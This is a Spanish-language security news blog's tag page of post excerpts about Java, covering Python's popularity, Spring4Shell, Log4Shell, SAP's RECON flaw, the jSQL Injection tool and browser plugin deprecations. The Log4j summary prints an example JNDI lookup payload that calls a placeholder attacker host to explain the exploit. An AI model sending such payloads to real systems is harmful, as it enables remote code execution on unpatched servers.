Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET Mastodon
Mostrando entradas con la etiqueta java. Mostrar todas las entradas
Mostrando entradas con la etiqueta java. Mostrar todas las entradas

PostHeaderIcon Python logra un hito histórico en programación que solo había logrado Java hace 24 años

sábado, 10 de enero de 2026 | Publicado por el-brujo | Editar entrada

Python ha logrado un hito en programación igualado solo por Java hace 24 años, impulsado por el auge de la inteligencia artificial. Se consolida como el lenguaje más popular, superando a Java y desplazando a C# en 2025 en un cambio histórico del sector.




Leer más »

Etiquetas: , , , , , | 0 comentarios

PostHeaderIcon Python supera Java en popularidad

domingo, 7 de diciembre de 2025 | Publicado por el-brujo | Editar entrada

Python ha superado a Java en popularidad, algo que Java logró hace 24 años, impulsado por la inteligencia artificial y se espera que en 2025 C# quede atrás.

 



Leer más »

Etiquetas: , , , , , | 0 comentarios

PostHeaderIcon MacOS 14.4 causa el caos, los programas se cierran, no funciona Java y se borran archivos de iCloud

viernes, 22 de marzo de 2024 | Publicado por el-brujo | Editar entrada

Pocos días después de recibir una nueva versión actualizada de macOS Sonoma, los usuarios de máquinas basadas en Apple Silicon están experimentando problemas generalizados con el software y los servicios en la nube, incluyendo applets Java y aplicaciones que ya no se ejecutan correctamente. 




Leer más »

Etiquetas: , , | 0 comentarios

PostHeaderIcon Spring4Shell: un nuevo 0-day en Spring (Java)

jueves, 31 de marzo de 2022 | Publicado por el-brujo | Editar entrada

 Recientemente, un miembro del grupo KnownSec con nick p1n93r publicó un pantallazo en su cuenta de Twitter que mostraba un RCE explotado trivialmente contra el core de Spring (no confundir con otra en Spring Cloud - CVE-2022-22963), ya sabéis, uno de los frameworks en Java más populares en Internet.



Leer más »

Etiquetas: , , , , | 0 comentarios

PostHeaderIcon Resumen de todas las vulnerabilidades de Log4j

lunes, 20 de diciembre de 2021 | Publicado por el-brujo | Editar entrada

Las versiones de Log4j anteriores a 2.16.0 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador ldap JNDI. El resumen de la vulnerabilidad anterior es que un servidor que utilice la librería de java vulnerable, cuando reciba una petición en alguno de los campos que necesitaría tratar (el User-Agent en este caso), parsearía el contenido (${variable} => ${jndi:ldap://evil.xa/x}), entraría log4j para su tratamiento, realizaría la query ldap hacia el destino (evil.xa) y éste le respondería con la clase maliciosa ejecutando el código existente en la misma.

 

 


Leer más »

Etiquetas: , , , | 0 comentarios

PostHeaderIcon Vulnerabilidad crítica en Apache Log4j bautizada como Log4Shell afecta incluso a Minecraft

viernes, 10 de diciembre de 2021 | Publicado por el-brujo | Editar entrada

Una vulnerabilidad zero-day recientemente descubierta en la biblioteca de registro de Java Apache Log4j, ampliamente utilizada (iCloud, Steam, incluso expotable en el chat de Minecraft), es muy fácil de explotar y permite a los atacantes obtener el control total de los servidores afectados. La vulnerabilidad, clasificada como CVE-2021-44228, es muy grave ya que permite la ejecución remota de código sin autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca de registro de Java. Afecta Apache Struts2, Apache Solr, Apache Druid, Apache Flink.




Leer más »

Etiquetas: , , , , , , | 0 comentarios

PostHeaderIcon Grave fallo en SAP NetWeaver permite secuestrar y robar información

miércoles, 15 de julio de 2020 | Publicado por el-brujo | Editar entrada

El error, CVE-2020-6287 aka RECON, es una falta de autenticación adecuada en NetWeaver. Esto permite a los usuarios no autorizados crear nuevas cuentas de administración a través de HTTP, concediendo a los malhechores un acceso completo: está clasificado 10 de 10 en términos de gravedad. El vulnerable componente de Java se utiliza en gran parte de la línea de productos de SAP, por lo que sería una buena idea comprobar las actualizaciones de cualquier código SAP que se ejecute en su red. Una explotación exitosa de RECON podría dar a un atacante no autenticado acceso completo al sistema SAP afectado. Esto incluye la capacidad de modificar registros financieros, robar información de identificación personal (PII) de empleados, clientes y proveedores, corromper datos, eliminar o modificar registros



Leer más »

Etiquetas: , , , , | 0 comentarios

PostHeaderIcon jSQL Injection: herramienta automatizada en Java para realizar ataques inyección SQL

jueves, 20 de abril de 2017 | Publicado por el-brujo | Editar entrada

jSQL Injection es una aplicación Java para realizar ataques automátizados, es decir la inyección automática en bases de datos SQL. Es gratuita, de código abierto y multiplataforma (Windows, Linux, Mac OS X). Otras herramientas similares son SQLMap o de la desaparecida Havij de ITSecTeam.



Leer más »

Etiquetas: , , , , , | 0 comentarios

PostHeaderIcon La FTC sentencia que Oracle tendrá que advertir de los peligros de Java en su propia web

miércoles, 23 de diciembre de 2015 | Publicado por el-brujo | Editar entrada

Oracle lleva tiempo teniendo que ponerse las pilas actualizando sus múltiples productos debido a numerosos fallos de seguridad. Estos fallos son especialmente peligrosos en plataformas tan extendidas como Java, razón por la que no sólo es importante mantenerla actualizada, sino también asegurarse de eliminar las versiones anteriores para no quedar expuestos a sus vulnerabilidades.



Leer más »

Etiquetas: , , , , | 0 comentarios

PostHeaderIcon Speedtest publica su test de velocidad sin Flash

miércoles, 9 de diciembre de 2015 | Publicado por el-brujo | Editar entrada

Por fin puedes usar otro test de velocidad sin Flash.  Speedtest por fin ha publicado su test de velocidad sin Flash, confirmando que pronto podremos decir adiós con la manita a esta infame tecnología.


Leer más »

Etiquetas: , , , , , , , | 0 comentarios

PostHeaderIcon Actualizaciones de seguridad para Microsoft y Adobe Flash Player

miércoles, 12 de agosto de 2015 | Publicado por el-brujo | Editar entrada

Adobe ha publicado hoy una nueva actualización para sellar los agujeros de seguridad de casi tres docenas en su software Flash Player. Microsoft también lanzó 14 paquetes de parches, incluyendo un gran número de correcciones para los equipos con su nuevo sistema operativo Windows 10. Para no quedarse fuera del martes de parches, el director de seguridad de Oracle arrojó una granada de mano de conversación en la comunidad de investigadores de seguridad, que respondió de la misma y provocó Oracle a dar marcha atrás ....




Leer más »

Etiquetas: , , , , , , , , , , , , | 0 comentarios

PostHeaderIcon Cómo activar el Click to Play de Adobe Flash Player en los navegadores

sábado, 18 de julio de 2015 | Publicado por el-brujo | Editar entrada

Podemos activar fácilmente el Click-to-play (Click para activar) el conocido plugin de Adobe Flash Player para todos los navegadores. Lo mismo para el resto de plugins potencialmente vulnerables como el de Oracle Java, la máquina Virtual de Java (si es que realmente lo necesitamos). Incluso el nuevo CEO de Facebook (Alex Stamos) aboga por su muerte. Bienvenidos sean los vídeos en HTML5.



Leer más »

Etiquetas: , , , , , , , , , , , , , , , | 0 comentarios

PostHeaderIcon ¿Java dejará de funcionar en Google Chrome?

lunes, 29 de junio de 2015 | Publicado por el-brujo | Editar entrada

Según la web de Java, el sistema NPAPI quedaría discontinuado con Google Chrome a finales de 2015. Java, Silverlight, entre otros, utilizan la arquitectura NPAPI para cargar su plugin desde el navegador. NPAPI (Netscape Plugin Application Programming Interface) es una arquitectura de plugins utilizada por muchos navegadores.




Leer más »

Etiquetas: , , , , , | 0 comentarios

PostHeaderIcon Java deja atrás la barra de Ask al ser considerada malware por Microsoft pero ahora pedirá instalar el buscador de Yahoo

sábado, 27 de junio de 2015 | Publicado por el-brujo | Editar entrada

Java de Oracle, tristemente célebre en el pasado por integrar la barra (toolbar) de Ask como parte de sus proceso de instalación y actualización, ha sido abandonado ahora a favor del motor de búsqueda de Yahoo.



Leer más »

Etiquetas: , , , , , , , , , | 0 comentarios

PostHeaderIcon No habrá más actualizaciones de seguridad para Java 7

martes, 24 de marzo de 2015 | Publicado por el-brujo | Editar entrada

Los usuarios de Oracle Java 7 no tendrán más actualizaciones de seguridad a partir de abril 2015, a menos que se concluya un acuerdo especial. Esto conlleva el riesgo de un gran número de usuarios de tener  una versión no compatible, a menos que se actualicen a Java 8.



Leer más »

Etiquetas: , , , , , , , | 0 comentarios

PostHeaderIcon Vulnerabilidad en Wi-Fi Direct de Android permite reiniciar el dispositivo

viernes, 30 de enero de 2015 | Publicado por el-brujo | Editar entrada

Investigadores de seguridad de Core Security han decidido publicar una vulnerabilidad en Wi-Fi Direct Android que permite denegación de servicio DoS, ya que después de avisar al equipo de seguridad de Android, han obtenido como respuesta que la vulnerabilidad es de baja gravedad y por ello no tiene previsto fecha para el parche.




Leer más »

Etiquetas: , , , , , , , , | 0 comentarios

PostHeaderIcon Los usuarios de Windows XP no podrán instalar Java 8

jueves, 3 de julio de 2014 | Publicado por el-brujo | Editar entrada

Con fecha de 8 de abril de 2014, Microsoft ha discontinuado Windows XP, con lo que ya no es una plataforma soportada. Los usuarios de XP no podrán instalar Java 8. Los usuarios de Windows deben actualizar a Windows Vista o versión posterior para poder instalar Java 8.


Leer más »

Etiquetas: , , , , | 0 comentarios

PostHeaderIcon Java dejará de estar activo en Mozilla Firefox y Google Chrome

martes, 29 de octubre de 2013 | Publicado por el-brujo | Editar entrada

En los últimos tiempos, Java ha sido la puerta de entrada de ataques informáticos a muchas de las grandes empresas del sector, por no hablar de ataques ‘0-day’ en los que se descubrían enormes agujeros de seguridad tras realizarse actualizaciones del Java Runtime Enviroment. 



Leer más »

Etiquetas: , , , , | 1 comentarios

PostHeaderIcon Apple y Mozilla dicen (por el momento): "No a Java" (Actualizada, ya hay parche)

sábado, 12 de enero de 2013 | Publicado por el-brujo | Editar entrada

Apple y Mozilla han decidido de momento deshabilitar el plugin de Java en los navegadores (en un hecho sin precedentes) para evitar males mayores hasta que se encuentre una solución real al problema de la última grave vulnerabilidad

Leer más »

Etiquetas: , , , , , , , , ,

PostHeaderIcon ¿Qué es Java? ¿Para qué sirve? ¿Debo actualizarlo?

jueves, 13 de diciembre de 2012 | Publicado por el-brujo | Editar entrada

Según la web oficial de Oracle y  su documentación original:





¿Qué es la tecnología Java y por qué lo necesito?

Java es un lenguaje de programación y la primera plataforma informática creada por Sun Microsystems en 1995. Es la tecnología subyacente que permite el uso de programas punteros, como herramientas, juegos y aplicaciones de negocios. Java se ejecuta en más de 850 millones de ordenadores personales de todo el mundo y en miles de millones de dispositivos, como dispositivos móviles y aparatos de televisión.

¿Por qué necesito Java?
Existe un gran número de aplicaciones y sitios Web que no funcionan a menos que Java esté instalado, y muchas más que se crean a diario. Java es rápido, seguro y fiable. De portátiles a centros de datos, de consolas de juegos a superequipos científicos, de teléfonos móviles a Internet, Java está en todas partes.

¿Java se puede descargar de forma gratuita?
Sí, Java se puede descargar de forma gratuita.
¿Por qué debo actualizar a la última versión de Java?
La última versión de Java contiene importantes mejoras para el rendimiento, estabilidad y seguridad de las aplicaciones Java que se ejecutan en su equipo. La instalación de la actualización gratuita garantiza que sus aplicaciones Java sigan ejecutándose de forma segura y eficaz. 

Fuente:
http://www.java.com/es/download/faq/whatis_java.xml


Leer más »

Etiquetas: , , , , , , , , , , , , , , , , , ,